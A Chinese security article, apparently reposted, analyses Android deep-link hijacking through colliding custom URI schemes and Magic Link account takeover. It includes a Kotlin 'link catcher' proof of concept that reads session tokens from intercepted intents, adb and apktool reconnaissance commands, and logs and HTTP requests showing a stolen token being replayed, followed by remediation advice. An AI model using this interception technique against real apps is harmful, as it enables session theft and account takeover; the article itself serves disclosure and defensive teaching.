文章总结: 本文分析AndroidDeepLink劫持风险,指出自定义URIscheme缺乏所有权验证,导致恶意应用可声明相同IntentFilter截获认证凭据。核心攻击链为路由碰撞后提取MagicLink中的sessiontoken,实现账户接管。修复需迁移至VerifiedAppLinks、使用短时单次授权码、严格校验输入并避免日志记录完整链接。 综合评分: 90 文章分类: 移动安全,漏洞分析,渗透测试,安全建设,实战经验
Android Deep Link 劫持:从自定义 URI 碰撞到 Magic Link 账户接管
原创
Ti Ti
TIPFactory情报工厂
2026年8月4日 12:06 江苏
在小说阅读器读本章
去阅读
Android 应用经常用 Deep Link 把浏览器、邮件或其他应用中的操作继续交给 App。风险不在 Deep Link 本身,而在应用把认证凭据交给了一个未经平台验证的路由。
如果 Magic Link 使用 exampleapp:// 这样的自定义 URI scheme,任何已安装应用都能声明自己可以处理同一 scheme。攻击者只需安装一个具有相同 VIEW intent filter 的应用,就可能在 Android 的路由选择阶段截获完整 URI。只要 URI 中携带可直接使用的 session token,路由碰撞就会继续演变为账户接管。
自定义 URI 看似把登录链接送往合法应用,但未经验证的路由允许恶意应用参与接收。
问题根源:自定义 scheme 只有声明,没有所有权验证
Deep Link 通过 Android Intent 工作。希望接收链接的 Activity 通常会在 AndroidManifest.xml 中声明 VIEW action、DEFAULT 与 BROWSABLE category,并指定 scheme 和 host:
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="exampleapp"
android:host="session-start" />
</intent-filter>
</activity>
这段配置表达的是“本应用能够处理该 URI”,而不是“本应用独占该 URI”。另一个 APK 可以合法地声明完全相同的过滤器:
<data
android:scheme="exampleapp"
android:host="session-start" />
当用户打开下面的登录链接时,Android 会搜索所有匹配的 Activity:
exampleapp://session-start?s=<session-token>
如果多个应用同时匹配,且系统没有已验证或默认的 handler,用户会看到应用选择器。被选中的恶意应用收到的 Intent 与合法应用预期收到的对象没有区别,包括 intent.data 中的完整 token。
合法应用和恶意应用声明相同的 VIEW + BROWSABLE 过滤器后,Android Intent Resolver 会把两者都视为候选 handler。
Verified Android App Links 改变了这一信任边界。它使用 http 或 https URL,在 Manifest 中设置 android:autoVerify="true",并要求站点在 https://<domain>/.well-known/assetlinks.json 发布 Digital Asset Links。系统据此核对域名授权的 package name 和签名证书 SHA-256 指纹。自定义 scheme 不参与这套域名所有权验证。
从路由碰撞到认证凭据泄露
路由碰撞本身只说明恶意应用可能收到 URI。真正决定影响的是 URI 携带什么,以及后端是否允许任意客户端重放其中的值。
高风险场景包括:
- • Magic Link、密码重置和账户验证链接直接携带 bearer session、登录 token 或可被任意客户端兑换的 code;
- • OAuth 回调使用私有自定义 scheme,同时缺少 PKCE、redirect URI 匹配宽松、仍使用 implicit flow,或直接返回长效凭据;
- • Deep Link 接收
url、redirect、next等参数后交给 WebView,而校验仅使用contains("trusted.com")或startsWith("https://trusted.com"); - • 预装或高权限应用暴露
BROWSABLEActivity,并把链接参数继续传入带 JavaScript bridge 或命令执行能力的 WebView 页面。
其中 Magic Link 的攻击链最短。服务端向用户邮箱发送 exampleapp://session-start?s=<token>,用户点击后由 Android 解析 Intent;恶意 handler 获取 s 参数,再把该 token 作为认证凭据提交给移动端 API。若后端只验证 token 有效性,不验证发起登录的设备、客户端、请求上下文和一次性状态,攻击者便能在合法应用之外完成登录。
恶意 handler 从 Intent 提取 session token,随后以该 token 请求账户接口;接口返回用户资料后,账户接管链闭合。
如何确认目标应用存在碰撞条件
先从 APK 中提取 Intent Filter。aapt2、apkanalyzer、jadx 和 Apktool 都能定位 Manifest 配置;需要修改并重打包 APK 时,Apktool 更直接:
apktool d ExampleApp.apk -o exampleapp-decoded
rg -n "android.intent.action.VIEW|android:scheme|android:host|android:path" \
exampleapp-decoded/AndroidManifest.xml
重点检查同时满足以下条件的入口:
- • Activity 设置了
android:exported="true"; - • Intent Filter 包含
VIEW、BROWSABLE和DEFAULT; - • 使用无法证明所有权的自定义 scheme;
- • 路由用于登录、密码重置、支付、账户绑定或租户切换;
- • URI 参数最终被当作 session、授权码或 WebView 地址使用。
可以用 ADB 直接触发目标 URI,确认系统实际选择的 Activity:
adb shell am start \
-W \
-a android.intent.action.VIEW \
-d "exampleapp://session-start?s=test-token"
安装第二个声明相同过滤器的测试应用后,如果 Android 弹出 handler 选择器,说明路由可碰撞。此时仍需继续验证 token 能否认证 API;只有完成凭据重放,才能把问题从不安全路由提升为账户接管。
PoC:构造 Link Catcher 截获 token
Sentry 团队在一次移动应用评估中验证了这条链。为保护目标信息,应用名称和 scheme 被替换为 ExampleApp 与 exampleapp://。测试中的合法客户端先请求 Magic Link:
POST /mobile-app/v1/login HTTP/1.1
Host: api.exampleapp.test
Content-Type: application/json
{"email":"[email protected]"}
邮件返回的链接携带 JWT 形式的 session:
exampleapp://session-start?s=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
测试 APK 使用不同 package name,以便与合法应用同时安装,但保留相同的 scheme 和 host。接收 Activity 只需读取 intent.data 并提取 s 参数:
class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val uri = intent?.data
Log.i("ExampleLinkCatcher", "received_uri=$uri")
val token = uri?.getQueryParameter("s")
if (token != null) {
Log.i("ExampleLinkCatcher", "captured_session=$token")
}
finish()
}
}
用户在系统选择器中选中 ExampleApp Link Catcher 后,运行日志显示完整 URI 被送入恶意 Activity,s 参数也被成功读取:
04-03 13:38:14.322 I/ActivityTaskManager(1991): START u0
{act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE]
dat=exampleapp://session-start?s=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[REDACTED]
cmp=com.sentrylabs.exampleapp.linkcatcher/.MainActivity}
04-03 13:38:15.203 I/ExampleLinkCatcher(23620):
captured_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[REDACTED]
随后把截获值放入 X-Session-Cookie 请求账户接口:
GET /mobile-app/v1/account HTTP/1.1
Host: api.exampleapp.test
X-Session-Cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[REDACTED]
接口返回 HTTP/1.1 200 OK 和账户资料,其中包含姓名、邮箱、手机号、tenant_id、邮箱验证状态与创建时间。这个响应证明 token 不仅能够被第二个应用读取,还能脱离合法客户端直接访问受保护 API。
修复需要同时收紧路由和凭据
只修改 Manifest 或只缩短 token 有效期都不完整。路由必须绑定到签名应用,认证凭据也必须在服务端绑定上下文。
Verified App Links 用域名、package name 与签名证书建立绑定;Magic Link 只携带短时单次 code,并由后端完成受上下文约束的兑换。
1. 将认证入口迁移到 Verified App Links
认证链接应使用组织控制域名下的 HTTPS URL,并配置 android:autoVerify="true" 与有效的 assetlinks.json。生产 package name 和签名证书指纹必须准确匹配。还要测试验证失败路径:失败后应进入浏览器或服务端错误页,不能回退到携带认证凭据的自定义 scheme。
iOS 上对应的边界是 Universal Links、Associated Domains 和 apple-app-site-association。遗留自定义 URL scheme 不应继续承载登录、密码重置、账户绑定、支付或租户切换。
2. 不在链接中放置 bearer session
Magic Link 应只携带短时、单次授权码。后端兑换时将 code 绑定到登录请求、目标账户、过期时间、预期客户端或设备上下文;兑换成功立即失效,重放必须被拒绝。OAuth 原生客户端还应使用 PKCE,使截获的 authorization code 缺少 code_verifier 时无法兑换。
3. 把所有 Deep Link 当作不可信输入
客户端应严格校验 scheme、host、path 和参数白名单,不能依赖字符串包含或前缀判断决定 WebView 导航。通过 Deep Link 到达的每个后端动作仍需独立鉴权,URL 所有权不能替代账户、租户和设备权限检查。
4. 避免记录完整链接
移动端日志、后端访问日志、分析事件、崩溃报告和客服工具都可能扩大 Magic Link 的暴露面。应对 URL 中的凭据做删除或脱敏,并限制日志留存与访问范围。
Deep Link 的安全边界最终取决于两个问题:操作系统能否证明接收者是被域名授权的签名应用,以及后端能否拒绝脱离原始登录上下文的凭据。只有两层都成立,拦截一条链接才不会等价于接管一个账户。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:TIPFactory情报工厂 Ti Ti《Android Deep Link 劫持:从自定义 URI 碰撞到 Magic Link 账户接管》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论